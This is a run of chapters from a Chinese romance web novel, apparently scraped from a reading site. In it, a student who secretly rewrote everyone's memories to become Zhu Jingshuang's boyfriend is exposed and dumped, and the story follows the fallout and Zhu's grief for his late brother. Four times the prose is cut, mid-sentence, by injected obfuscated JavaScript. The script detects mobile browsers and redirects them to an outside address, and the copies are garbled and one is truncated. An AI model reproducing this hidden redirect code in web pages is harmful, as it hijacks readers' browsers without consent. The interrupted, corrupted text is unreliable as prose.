好不容易把他们拉开,赵牧铭的几个舍友按着他,方宸和另一个舍友则把万则越拦住。 万则越稍微冷静下来,问身旁的方宸:“祝惊霜呢?” 方宸是见过他的,也知道他在追求祝惊霜,犹豫着回答:“他喝太久酒睡着了,在包间里。” “一个人?” “怎么可能。”方宸下意识反驳:“留了人看着他的。” 赵牧铭这个正牌男友还没来得及开口就被万则越抢了话,当即气的恨不得再给他一拳,全然忘了自己这个祝惊霜男朋友的身份是偷的万则越的。 终于两个人都冷静下来,赵牧铭冷笑一声,看着万则越质问道:“你刚刚在对小霜做什么?” “我来洗手间刚好看见祝惊霜醉的走不稳路,好心扶他回去而已。”万则越理直气壮反问:“你身为他男朋友就这样放任他喝醉了独自出来?” 赵牧铭被他的倒打一耙气的险些背过气来:“只是扶着需要你凑那么近?我看你是想趁人之危吧。” 他们在这吵了半天,方宸津津有味地听着,在心里琢磨要不要拿出手机录一段。 “这是谁啊,学长的朋友吗?”赵牧铭的舍友在旁边嘀嘀咕咕地讨论着:“不会是牧铭瞎吃醋把学长朋友打了吧。” 闹了半天,直到工作人员被吸引过来他们才暂时罢休。 “行了,你们自己处理一下伤口。” 来到一个空的小包间里,方宸努了努嘴:“桌上有药,你们不怕祝惊霜醒来以后生气就继续打。” 说完他就走了,一边走还一边兴致勃勃地想等祝惊霜醒来以后怎么和他描述。 感觉只需要一句“你男朋友和你追求者打架了”就能看见特别精彩的表情。 这么想想方宸还有点期待。 包间里,赵牧铭没说话也没动,万则越默不作声地拿起桌上的药盒看了一眼说明。 其他人都回去了,除了他们只剩下金毛还在这,此刻金毛不停往门外看:“不知道学长现在醒了没……” 说着说着,脚步就一点点挪了出去。 空气变得静默起来,万则越忽然嗤笑一声:“祝惊霜的男朋友?第一次见有人那么不要脸。” 这是他第一次把这件事放在明面上讲。 赵牧铭黑着一张脸:“我不知道你在说什么。” 万则越没理会他的装模作样,继续恶言恶语:“祝惊霜喜欢的是你吗?追了他两年的人是你吗?祝惊霜根本不知道真正的你是谁吧?” 赵牧铭额头上青筋暴起,几乎控制不住自己的表情。 “你偷了我的人生,偷了我的祝惊霜。”万则越咬着牙开口,满嘴都是铁锈味,脸上露出一个笑容:“你做那么多又有什么用?你篮球赛那天祝惊霜没有去给你加油,他失约了。” “他一向注重承诺,但他那天没去,你知道为什么吗?” 赵牧铭明明知道自己不该顺着对方的话往下说,却还是不由自主开口:“他那天和我说了,他要去见一个老师。” 他的神色镇定,仿佛是在说,祝惊霜没有瞒着我,他对我解释过。 万则越嘴角的笑容越咧越大:“那他有没有和你说,是谁带他去的?” 拳头紧攥,如针刺般绵密的痛感从心口蔓延,剧烈的情绪起伏让赵牧铭眼前一阵阵充血。 “祝惊霜和我见面那么多次你都不知道吧?”万则越脸上的伤口随着他的表情变化变得扭曲:“六一那天,你们做了吧。” 如同一道惊雷劈过赵牧铭的脑海,有一瞬间视网膜里一片模糊,太过激烈的情绪让他有片刻失声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403500|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他知道祝惊霜没有听自己的远离万则越,可是他不知道原来在自己看不见的地方,祝惊霜和万则越见了那么多次面。 万则越等了几秒,见他还是一副强装冷静的模样,舌尖顶了顶上牙膛:“他一直当做宝贝的项链是我给他捡回来的,和他一起度过那两年的人是我,你才是介入我和祝惊霜之间的那个第三者!” “现在你是祝惊霜的男朋友又怎么样?你不是我,你永远得不到祝惊霜的爱,被篡改了记忆他也还是会爱上我,还是会和我偷情……” 赵牧铭终于克制不住,破防地怒道:“你也配?别以为我不知道都是你单方面缠着小霜!” “小霜?”万则越把这个称呼在嘴里念几遍,神色越发游刃有余:“他对其他追求者什么态度你也知道,但他对我不同,这还不能证明哪怕被篡改了记忆他对我依然本能有好感吗?” “就算你篡改了所有人的记忆,也始终有你偷不走的。”万则越拿出手机,作势要去翻相册:“你不知道吧,我手机里还有我追祝惊霜时拍的照片,你说如果我拿去给祝惊霜看……” 赵牧铭已经快被气疯了,酒精的加持让他理智全无,甚至没去想如果万则越有那么关键的证据为什么现在才拿出来,只知道像发了疯的野兽般心虚地否认:“你偷拍造谣祝惊霜有什么用?他现在的男朋友是我,追了他两年的人是你又怎么样?现在在他眼里追他的人是我,他男朋友也是我!” 看见手机屏幕亮起,赵牧铭几乎是下意识地伸手去抢,万则越完全没有阻拦地放任他夺走了手机。 赵牧铭心里隐约察觉到不对劲,可是到了这份上他已经没有回头路了,只能焦急地点开相册。 确实有一个相册名称是“祝惊霜”,可是点开却只有零星几张看不出时间线的照片。 看了一会儿,赵牧铭忽然放松下来:“你在瞎编什么?这些不都是小霜发在动态的照片?有两张还是我帮他拍的。” 想到自己刚刚的心虚和紧张,他气不过又阴阳怪气地补充了一句:“不会是追了两年没追到出现幻觉了吧?” 万则越没有如他想象中变得暴怒,目光看向他身后,声音里甚至染上了一丝笑意:“不,我追到了。” 不安的预感如潮水般上涌,尚未来得及回头,赵牧铭就率先嗅到了一股熟悉的香味。 纯净又清幽,仿若淡雅的白茶花香,让人想起山间清晨的雾气,就和祝惊霜这个人一样沉静又清冷。 赵牧铭从来没有任何一刻那样不想闻到这气息。 一瞬间他的大脑一片空白,坐在椅子上僵硬地扭头,首先看见的是雪白纤细的手臂,再往上是自己亲吻过无数次的红唇,以及那双漆黑冰冷的眼睛。 “赵牧铭。” 祝惊霜的声音很低,给人一种轻柔的错觉,眉眼间却覆着一层寒意,朱唇吐出的每个字都像带毒的尖刺扎进赵牧铭的心口,连带着淌出温热的血: “我们分手吧。” (第一卷完) 26. 谎言 在听见赵牧铭承认的那一瞬间,正确的记忆如潮水将祝惊霜淹没。 一切都回到了正轨。 他想起了一切,也明白了一切。 其实早有征兆,也早有猜测,可真相却比想象中还要离奇。 祝惊霜不知道赵牧铭是怎么做到的,也并不想去问。 “我不同意。”赵牧铭猛地站起身,表情都空白了一瞬,随后也没有恢复清醒,只是红着眼睛重复:“我不同意分手,祝惊霜。” 祝惊霜忽然发现,赵牧铭其实很少叫自己的大名。 也是这时候他才发现,赵牧铭和万则越连对他习惯的称呼都不同。 万则越喜欢连名带姓地喊他,每次喊出“祝惊霜”三个字时都会感到隐秘的欢喜。 赵牧铭通常却更喜欢亲昵地叫“小霜”,每一次呼唤都像是确认亲密身份。 “祝惊霜,我不分手,我爱你。”赵牧铭明明没喝多少酒,却觉得自己已经醉地捋不直舌头,毫无章法地慌乱开口:“追你两年的人是万则越没错,但他不是什么好人,他故意算计我还造谣你!” 他已经不知道自己在说什么了,只是凭借着本能去诋毁万则越,想通过对比让自己在祝惊霜眼里的印象好一点。 祝惊霜避开他的目光,手指微微蜷缩,仿佛在极力压抑着某种情绪,声音却依旧冷淡而平静:“是我让他这样说的。” 似乎是怕对赵牧铭的刺激不够,他又继续开口:“是我怀疑你,是我主动找的他,因为我知道怎么样能刺激到你口不择言说出真相。” 话音刚落,赵牧铭就像站不稳一样趔趄了一下。 这一秒他的心好像都空了,冷风呼啸而过,在空荡荡的心口回荡。 空气仿佛变得稀薄起来,赵牧铭深呼吸几下,脑海中回想起那些藏在甜蜜下若有若无的试探,忽然就笑了。 原来祝惊霜那么早就开始怀疑了。 “对啊,和你在一起一年的人是我,所以你了解的也是我。”赵牧铭盯着祝惊霜的眼睛,笑得灿烂:“你知道我有多爱你,所以你知道怎么样让我失去理智。” 原来爱也会成为揭穿谎言的利器。 他对祝惊霜的爱让他无法理智,也就无法隐瞒。 祝惊霜眼睛下的皮肤在不自觉地微微发抖,他当然知道赵牧铭爱他,赵牧铭撒了那么多谎,骗了他那么久,唯一没有欺骗他的就是爱。 可是建立在谎言上的爱真的真实吗? 赵牧铭死死盯着祝惊霜的脸,那张脸白皙漂亮,无论看多少遍依然会心动。 激烈跳跃的心脏在此刻却被带起一阵阵绵密的痛意,他想过许多次被揭穿后的情景,却从没想过祝惊霜会用自己设局。 今天的偶遇是算好的吗?喝醉是假的,摩天轮上永远的誓言是假,床上的我爱你也是假。 他篡改记忆欺骗了祝惊霜,所以祝惊霜也将谎言回馈给他。 很公平。 痛到麻木的时候,赵牧铭几乎生出了恨,他是篡改了祝惊霜的记忆,但他并没有实际伤害祝惊霜什么,在一起的一年来他和祝惊霜明明也很甜蜜,甚至让他生出幻觉,觉得祝惊霜也爱上了真正的自己。 可是发现真相后祝惊霜第一句话是分手,美梦被打碎,偷来的爱终究不属于他。 在那个万则越和祝惊霜吵架的夜晚,赵牧铭在远处目睹了他们的争吵和不欢而散。 从车窗外面看不见里面的人,贺栩樾来接祝惊霜时两个人路过赵牧铭的车,赵牧铭听见一道低沉的男声问祝惊霜:“你是不是真的喜欢上那个叫什么,万则越的学弟了?” 祝惊霜的声音是罕见的低落:“他追了我两年,帮了我很多,我不该那样说他的。” “别想太多,不是你的错。” 贺栩樾安慰了他好一会儿,最后祝惊霜说了一句: “如果他再来……我想我会答应和他在一起。如果他决定放弃,那就算了。” …… 万则越离开后,祝惊霜也没有心情继续看流星雨,直接和贺栩樾离开了。 所以这场流星雨,只有赵牧铭一个人看了。 赵牧铭对着流星雨许愿,让万则越和祝惊霜一起经历的一切都变成自己和祝惊霜经历的。 他恨自己没有早点和祝惊霜重逢。 万则越大一入学开始就对祝惊霜一见钟情,随后便开始了热烈的追求。 而赵牧铭一直两耳不闻窗外事,也就不知道万则越追祝惊霜追的轰轰烈烈,直到大二碰见祝惊霜,一眼就认出对方是酒吧里的那个人。 他对祝惊霜的冷淡有所耳闻,几次搭讪换来的结果也都是漠视,那一晚的邂逅只有他一个人在念念不忘。 他的初吻和初次心动都给了祝惊霜,而祝惊霜对此全然不知,甚至根本不记得他是谁。 如今祝惊霜要投入别人的怀抱了。 赵牧铭不知道怎么办,许愿的时候满心悲壮,也根本没有想过能够实现。 所以第二天起来,发现整个世界翻天地覆后,他第一反应是慌乱。 因为他不知道如果祝惊霜提起以前怎么办,也不知道这个“魔法”会生效多久,但他依然无法按耐住心底悄然上升的狂喜。 而在和祝惊霜见面后,赵牧铭更是完全放弃了坦白的想法。 虽然态度说不上热情,可话语里的亲昵和纵容已经是他从未享受过的待遇,如果没有这个意外,他可能一辈子都不会再有机会去接近祝惊霜,更别提谈恋爱。 可谎言终究有暴露的那天。 包间里五颜六色的灯光依然旋转照耀着,昏暗的光线里赵牧铭注视着祝惊霜漆黑的瞳仁,炫目的灯光让他有一瞬间仿佛看到那双眼眸里泛起水光。 可赵牧铭知道那不过是自己的错觉,祝惊霜从始至终都从容冷静,这一年的恋爱在他心里留不下任何痕迹。 “……我知道瞒不了你太久。”赵牧铭想去握祝惊霜的手,却被甩开了,只能无力地垂下:“可是我不甘心被你忘记。” “我不记得了。”祝惊霜没想到他竟然会是那天酒吧里遇到的人,想说那也是自己的初吻,却又觉得没有意义,嘴唇微微发抖,最后还是只能说出一句看似冷漠的:“你如果是因为我把你忘了想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403501|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报复我,那你也算是成功了。” “报复?”赵牧铭不可置信:“你觉得我是在报复你?” “我是骗了你,但我有做任何伤害你的事情吗?我报复你但是对你百依百顺言听计从,我骗了你我错了我认,但你怎么能说我是在报复你?” 祝惊霜沉默着垂下眼帘,卷翘的睫毛仿若展翅欲飞的蝶翼。 脑海中闪过无数恶毒的语言,赵牧铭最后能够用尽全力说出最伤人的话,却不过是轻飘飘一句:“你觉得我是在报复你,可是祝惊霜,如果我不爱你,你还能发现得了真相吗?” 他以为这很有攻击性,可实际上说出来后率先感到痛苦的却是自己。 明明是炎热的夏天,呼吸间却感到了刺骨的寒意,祝惊霜看着他轻轻摇了摇头:“没有如果。” “你如果不爱我,我一开始就会发现你骗了我。” …… 好好的聚餐最后闹得一地狼籍,最后是万则越送祝惊霜回去的。 窗外风景不断倒退,祝惊霜低头在宿舍群发了一句: 【祝惊霜:我不太舒服先回去了,你们玩得开心】 关心的消息立刻跳了出来,他解释了几句就把手机放下,开始闭目养神。 明明被篡改的记忆已经回到了正轨,空气却陷入了沉寂,一时之间没有人说话。 最后是万则越率先开口:“对不起,我今天莽撞了。” 祝惊霜怔了一下:“为什么这么说?” “你教我怎么说能够让他坦白之后说过想等找个合适的时机和他心平气和地解决问题,但今天我情绪上头直接说了……你本来应该没想那么快和他分手。” “早一点晚一点没区别。”祝惊霜轻轻吸了一口气。 万则越趁着红绿灯扭头看了他一会儿,突然问:“你为什么要让他误以为今天的这些都是你安排的?” “本来那些话就是我教你说的。”祝惊霜的语速很慢,靠着后座再次闭上了眼睛,好像已经丧失了全部精力。 “但今天明明是凑巧碰到的,你根本不知道他会在这,也不知道我会来这里。”万则越的态度意外地坚决:“你只是告诉我要怎么说能够从他嘴里逼出真话,但你从没想过在会在今天,也没想到会是这样激烈的场面。” 绿灯亮了,万则越踩下油门,声音很低:“你是故意的,故意让他觉得今天的一切都是你安排好的,故意让他觉得你是在装醉。” 你是故意让他觉得你算计好了一切,故意让他更伤心。 “没区别,结果都一样。”祝惊霜仿佛没有听出他的弦外之音,罕见地耐心解释:“就算他知道今天除了你说的那些话之外其他都只是巧合,结果也不会改变。” “所以他误会了就误会吧。” “……但你明明是真的喝醉了。”万则越吸了两下鼻子,祝惊霜身上的清香和酒香混在一起,融合成了一股浓郁的暗香。 祝惊霜见他不依不饶,忍不住有些恼了:“对,我喝醉了,所以麻烦你快点把我送回去。” “……” 万则越终于闭上了嘴。 27. 无力 午夜,随着一声惊雷划破天幕,大雨倾盆而下。 又一道白光闪过,贺栩樾从床上惊醒,心脏骤停的心悸感依然残存。 他下床打开灯,想去看看祝惊霜有没有被吵醒。 这时他隐约听见外面传来动静,推开门就看见一道纤细的人影伫立在客厅里,一头黑发如墨流泻而下,在黑暗中显得有点吓人。 “那么晚还不睡?”祝惊霜扭头时刚好起了风,风衣下摆小幅度地翻飞。 “这话该我问你吧。”贺栩樾走近几步,在黑暗中分辨着对方漂亮的面孔。 祝惊霜低头把外套拢了拢,卷翘的睫毛淹没在夜色里。 贺栩樾上下打量着他,眉头紧锁:“你要出门?” 见祝惊霜没有否认的意思,他的声音都变大了:“你疯了?外面现在在下大雨。” “我想出去走走。”祝惊霜声音很轻,低着头看不清神色。 贺栩樾像是被他气到了,胸膛起伏几下,看着他的发顶又不知道想到了什么,眼神柔和下来:“你是不是又想起……你哥了?” 祝惊霜张了张嘴想否认,但最后还是点了点头。 “那么大雨还要出去吗?”贺栩樾看他坚持,无声地叹了口气:“我送你去吧。” 祝惊霜拒绝了:“不用了,我自己去就行。” “那么晚了一个人不安全,让你男朋友送你去也行啊。”贺栩樾看他的眼神就像是在看一个无理取闹的孩子。 祝惊霜笑了笑:“我和他分手了。” 贺栩樾愣住了,好一会儿讪讪道:“什么时候的事情,怎么不告诉我。” 祝惊霜安静了几秒才抬起头,漆黑的眼眸在黑暗里如黑曜石般明亮:“就这几天分的,我还没来得及说。” 没等贺栩樾说话,他又突然问:“追了我两年的人是谁?” 贺栩樾愣了一下,没想到他忽然问这个,但还是老实回答:“万则越啊,怎么了吗?” 祝惊霜静默几秒,继续问:“那我男朋友是谁?” “赵牧铭。”贺栩樾说完又强调了一句:“你们分手了,他只算你前男友。” 祝惊霜微微蹙起眉。 看来在他被篡改的记忆恢复了之后其他人的记忆也都回到了正轨,而在别人眼里追他两年的人是万则越,但和他谈恋爱的却是赵牧铭。 “……那你不觉得奇怪吗?追我的是万则越,但我却和赵牧铭在一起了。” “有什么奇怪的。”贺栩樾没当一回事:“你当时说你和赵牧铭谈了的时候我确实很惊讶,但是是因为你谈恋爱而惊讶,和对方是谁没关系,在我眼里他们两个都配不上你,你和谁在一起都没区别。” “……”祝惊霜语塞几秒,最后选择结束这个话题,边说话边把贺栩樾往卧室里推:“你去睡吧,你明天还有考试呢。我很快就回来,大不了给你开着定位。” 贺栩樾有几门考试延期了,比他晚放假几天。 “……行吧。”贺栩樾最后妥协了,看了一眼时间:“三点前你没回来,我就过去找你。” …… 雨夜里天地万物仿佛都归于寂静,道路崎岖伸手不见五指。 很快就到了地点,祝惊霜撑起伞下车,前排的网约车司机还好心提醒他小心路滑。 深夜加上暴雨,墓园里只有零零散散几个人。 淅淅沥沥的雨水砸在伞上,一会儿急一会儿缓,祝惊霜走了一会儿,停下脚步静静地注视着面前的墓碑。 本来他其实没想来,但贺栩樾一提,他倒是真有点想来看看了。 身后突然传来脚步声,祝惊霜心中莫名一动,似有所感地回头,便看见一个打着伞的高大的身影。 祝惊霜眨了一下眼睛。 仿佛读懂了他的疑问,万则越开口解释道:“不知道为什么我总感觉你在这……我没有跟踪你。” 话音刚落,他就想起在刚发现在别人眼里追求祝惊霜两年的人变成赵牧铭之后他曾经一路跟着祝惊霜来到校门口的饭店,还说了很多在祝惊霜看来莫名其妙的话。 看祝惊霜的神色明显也想起了那个时候,唇角微微勾起一点弧度:“嗯,我信你。” 雨渐渐停了,祝惊霜收起伞,面容在夜色里格外苍白。 万则越站在他身边,语气沉下来,又一次道歉:“对不起。” “我那天太冲动了。” 他们都知道“那天”指的是什么。 祝惊霜沉默几秒,轻轻摇了摇头:“是我自己不愿意面对,不是你的错。” 为了那一晚的冲动,万则越已经说过很多次对不起。 可是那天冲动的又何止他一个人。 雨后的空气清新,每次闻到雨水混合泥土的味道,祝惊霜都会想起哥哥离世的那天。 他记得哥哥死的那一天,是外婆的生日。 下完课后哥哥带着他往外婆家赶,路上下了雨,年幼的他在车上窝在哥哥怀里睡着了。 直到尖锐的轰鸣声将他从睡梦中唤醒。 小小的祝惊霜甚至还没来得及睁开眼,就感觉眼睛被温热的手掌捂住。 哥哥把他护在怀里,他已经分不清在颤抖的是自己还是哥哥,亦或都是。 祝惊霜看不见,耳边尖锐的声音却越来越大,混合着磅礴的雨声几乎要将耳膜撕破。 也可能他是看见了的,只是他不愿意想起来。 那时候他太小了,后面的场面混乱不堪,他好像昏迷了,又好像只是遗忘了。 唯一挥之不去的,是鼻腔里嗅到的混合着尘土的铁锈味。 再次有清晰的记忆是在清醒之后,病床前来了很多人,许久不见的父母也在,见祝惊霜醒来后他们的眼睛亮了一下,随后又黯淡下去。 那时候的祝惊霜才十三岁,却无端有了预感。 他的父母告诉他,他的哥哥在车祸里离世了。 祝惊霜脑海中很乱,他知道死亡的意思,但他不理解这句话。 哥哥怎么会不在了呢? 周围乱糟糟的,而祝惊霜似有所感地抬头,看见人群末尾处外婆年迈的身影。 她已经很老了,但是身体一直很健康,总是神采奕奕的,还经常和保姆抢着做家务。 可是现在她站在人群末尾,却好像再也挺不直腰板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403502|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝惊霜忽然想起,今天是外婆的生日。 也是哥哥的忌日。 自那天之后,父母不再成天四处奔波,而是选择定居下来陪伴祝惊霜。 也是这时候他们才发现,尽管有哥哥带着,但缺少了父母关爱的小儿子如今性情变得格外冷漠,为人处世有着不符合年龄的冷静成熟,对他们的态度也很客气,没有任何孩子对父母的亲近。 他们想要弥补,祝惊霜也照单全收——他并不是故意的,只是毕竟有那么多年的空缺,他想要亲近却也有心无力。 而失去了大儿子的父母对祝惊霜非常溺爱,要什么给什么,对学业没有任何要求,唯一的要求是平安健康,好在祝惊霜也没有长歪,甚至还非常优秀。 小时候祝惊霜生日的时候许愿,说想要哥哥陪他一辈子。 后面他时常觉得,是不是因为愿望说出来所以才不灵了。 …… 和万则越说这些时,祝惊霜尽量让自己语气平静,却还是手指却还是止不住的颤抖。 万则越安抚地把他的手包裹在手心里,用自己这辈子最温柔的声音问:“后来呢?” 祝惊霜露出一个淡然的笑,眼眶却红了:“后来,外婆也离开了。” 在哥哥去世后,祝惊霜莫名想到,如果外婆的生日变成了哥哥的忌日,那以后的这一天,是祭奠逝者,还是为生者庆生? 他是这么想的,也去问过父母,那一天是该庆祝外婆生日,还是该祭奠哥哥离世。 祝惊霜的父母让他不要想那么多,他也确实没有再去想—— 这个疑问最后也没有答案,因为外婆没能撑到下一个春天。 祝惊霜记得最后一次去见外婆时,临走前外婆把他叫住,给了他两颗糖。 他愣了一下。 小时候他和哥哥每一次来外婆家,外婆都会给他和哥哥一人一颗糖。 火红的包装,一如那时。 他早就过了爱吃糖的年龄,却还是安静地收下了那两颗糖。 …… 解释完之后祝惊霜有很长一段时间没有说话,直到万则越去擦拭他的眼尾,他才轻轻推拒了一下:“我没哭。” “我知道。”万则越深吸一口气,心口的闷痛却还是无法减轻半点,比他当时睁开眼发现赵牧铭偷了自己的身份时还要无力。 祝惊霜没有落泪,苍白的脸色却比任何时候都要惹人怜爱。 万则越从未有过一刻那样痛恨自己,他帮不了祝惊霜,还没有体谅祝惊霜,在当时选择追究下去和祝惊霜争吵。 在一开始知道真相时万则越给自己找过很多借口,太年轻、太骄傲、太较真…… 现在他才明白,真正的原因不过是他太自以为是。 他总是这样嚣张自信不可一世,所以他从来没想过要去体谅别人的难处,也从不懂适可而止。 直到祝惊霜解释的清清楚楚,他才发现原来有些事情还不如不问。 不去追问,祝惊霜就不会那么伤心了。 万则越曾经以为这个世界上没有自己想要却无法得到的东西,没有自己想做却做不到的事情,直到遇见祝惊霜。 28. 愧疚 【麻烦精:我碰到万则越了】 【讨厌鬼:?】 【麻烦精:你怎么还没睡】 【麻烦精:不是让你先去睡觉吗?】 【讨厌鬼:你一个人出去我怎么可能睡得着】 【讨厌鬼:准备几点回来?】 【讨厌鬼:要我去接你吗?】 【麻烦精:不用了,我晚一点再回去】 【麻烦精:万则越送我,你快睡觉去吧】 …… 和贺栩樾报备完,祝惊霜又和万则越去附近的便利店坐了一会儿。 直到天蒙蒙亮的时候,万则越才把祝惊霜送回家。 被雨水冲刷过的天空有种潮湿的昏暗,微弱的天光从云层倾泻而下。 和万则越分开后,祝惊霜在楼下看见了一个意想不到的高大身影。 赵牧铭看起来很糟糕——字面意义的糟糕,衣衫微皱,短发被清晨的寒风吹的凌乱,不知道在这等了多久。 他走到祝惊霜面前,眼底布满血丝,俊朗的五官透着从未有过的狼狈,声音仿佛被烧伤般沙哑:“小霜。” 祝惊霜的目光在面前人眼下的乌青一点而过,没有停下脚步。 赵牧铭跟在他身后,自顾自继续道:“我看见了,刚刚是万则越送你回来的。” 一夜未眠,祝惊霜的面容依旧雪白漂亮,身上裹了一件风衣,腰扣紧扣着腰部,眉眼透出几分疲倦。 他没有理赵牧铭,但也没有赶对方走,当赵牧铭不存在一样往前走。 雨后的空气里弥漫着混合着泥土的青草味,赵牧铭冷不丁开口:“你们刚刚做了是不是?” 祝惊霜大脑一白,几乎以为自己听错了,在自己还没反应过来时已经一巴掌扇了上去。 “啪——” 巴掌落下的清脆声音在寂静的清晨格外明显,祝惊霜冷声道:“你疯了。” 赵牧铭被扇的脸都侧到了一边,身上还有前两天和万则越打架受的伤,此刻未愈合的伤口又开始隐隐作痛。 他上前一步攥住祝惊霜的手腕,手臂凸起蜿蜒青筋:“你们刚刚去了哪里?” 祝惊霜刚要说话,鼻子忽然耸了耸,秀气的眉蹙起:“你喝酒了?” 他想把赵牧铭的手甩开,但失败了,赵牧铭的手像是铁钳一般紧紧禁锢着他,只好作罢工:“我不和醉鬼说话。” “我只喝了一点,我没醉。”赵牧铭双眼通红,声音沙哑的像被砂纸磨过:“你和我分手之后立刻就和他在一起了是不是?” 祝惊霜看着他眼底无法遮掩的痛苦,心里竟涌上一股夹杂着酸痛的舒爽,说不清用什么样的心情开口:“本来和我在一起的人就应该是他。” 他没有否认自己并没有和万则越在一起,也没有解释自己今晚和万则越什么都没做。 他就是要赵牧铭误会,要赵牧铭痛苦。 凭什么被欺骗的自己都没说什么,赵牧铭就一副正攻做派来质问他? “我真的很喜欢你……”赵牧铭用目光贪婪地一寸寸描摹他的眉眼,仿佛怎么也看不够:“我想过和你坦白,真的,我没有想要骗你。” 赵牧铭低声下气道:“恋爱的这些日子我对你不好吗,你明明也很开心……” “我给过你机会了。”祝惊霜打断他,表情仿若结了冰。 他的声音又轻又柔,尾音散在风里:“那晚我问你有没有事情瞒着我,你没说,那现在就不必说了。” 顷刻间赵牧铭的脸上血色尽失,他抖着唇张了张嘴:“对不起,我只是太害怕了。” “我害怕你喜欢的仍然只是追你两年的万则越。我怕我当时说了,你就立刻会和我分手了。” 他不敢赌。 所以宁愿掩耳盗铃,假装没有看见祝惊霜眼底的失望。 太过胆怯太过患得患失,却不想错过了真正的机会。 直到这一刻,赵牧铭才发现,祝惊霜真正怪罪自己的并不是他偷了万则越的身份篡改了所有人的记忆,而是他骗了他。 祝惊霜真正无法原谅的是欺骗。 那是不是代表,祝惊霜的那些爱意,也有一丝是真的属于他的? “……如果那天我坦白了,你还会和我分手吗?” 在和祝惊霜分手后,赵牧铭想过许多次“如果”。 如果他在摩天轮登顶吻祝惊霜时看懂了对方闭上的双眼,如果那晚他选择了坦白,如果他有勇气认错,如果他早点承担。 可惜永远没有如果。 祝惊霜把目光移开,谁都能听出他在说气话:“会。” “我不信。”赵牧铭像是站不直一般把头低下,埋在祝惊霜的肩颈:“我以后不会再骗你了,能不能再给我一个机会,重新追求你?” 祝惊霜没有说话,也没有推开他,好像已经变成了一具冰雕。 赵牧铭观察了一会儿他的神色,笃定地说:“你不信我。” 祝惊霜沉默几秒,终于开口:“不信的到底是谁?” 空气再次陷入沉默,良久,祝惊霜伸手推了推他:“你喝醉了,今晚说的话我都不会当真。” 赵牧铭急了,想开口,却被纤细柔软的手指挡住了嘴,祝惊霜唇角勾出一抹笑,美的惊心动魄,吐出的话却是截然不同的狠决:“分手了就好聚好散吧,以后别见面了。” “我没醉!”赵牧铭表情都怔愣了一瞬,明明刚刚祝惊霜的态度明显是有所松动的,为什么不过几秒却又变了态度? “我不想和你好聚好散,我只想和你一直聚,不想散。”赵牧铭绞尽脑汁试图让面前人回心转意:“如果你们真的在一起了……如果你真的找了别人,也可以把我当个消遣,他总有没空的时候……” “你知不知道你在说什么?”祝惊霜不可置信地打断他。 “我知道。”赵牧铭冷静下来,看着他的眼神很坚决:“你谈恋爱我就等你分手,你结婚我就等你离婚,你可以让我做除了离开你以外的任何事情。” 明明说着如此癫狂的话,他却越来越平静:“……不要赶我走。” 祝惊霜像是第一次认识他一样看了他一会儿,突然笑了起来,然后擦了擦眼角笑出的眼泪,声音里分明没有畅快:“如你所愿。” ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403503|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 七月中,贺栩樾要去参加集训一个月,家里只剩下祝惊霜一个人。 那天晚上冲动答应了赵牧铭之后祝惊霜就后悔了,喝醉的明明是赵牧铭,怎么他也跟着不清醒。 可是后悔没有用,赵牧铭不是那么好甩掉的,祝惊霜只好冷处理,把对方拉黑,在赵牧铭找上来时也当看不见对方,实在烦了就威胁说再来喊保安。 赵牧铭看出他反悔了,可是对此毫无办法。 另一个让祝惊霜有点头疼的是万则越——自从贺栩樾离开后,万则越隔三差五便会上门找他。 倒也不做什么别的,就是上门把家务全做了垃圾也倒了,然后和他像是普通情侣一样吃饭看电影。 观察了一段时间后,祝惊霜得出结论,万则越似乎是默认自己已经是他男朋友了。 如果不是因为赵牧铭从中作梗,他现在确实是他的恋人,并且应该还谈了快一年恋爱了。 可是因为赵牧铭…… 因为赵牧铭,现在一切都变得不一样了。 在万则越再一次上门给他切水果时,祝惊霜看着对方自然地想喂他水果的动作,还是开了口:“万则越,你可能有误会。” “什么误会?”万则越看起来心情很好,望着他一张一合的红唇,满脑子都是想着怎么去投喂他。 以及,怎么去品尝一下那里的滋味。 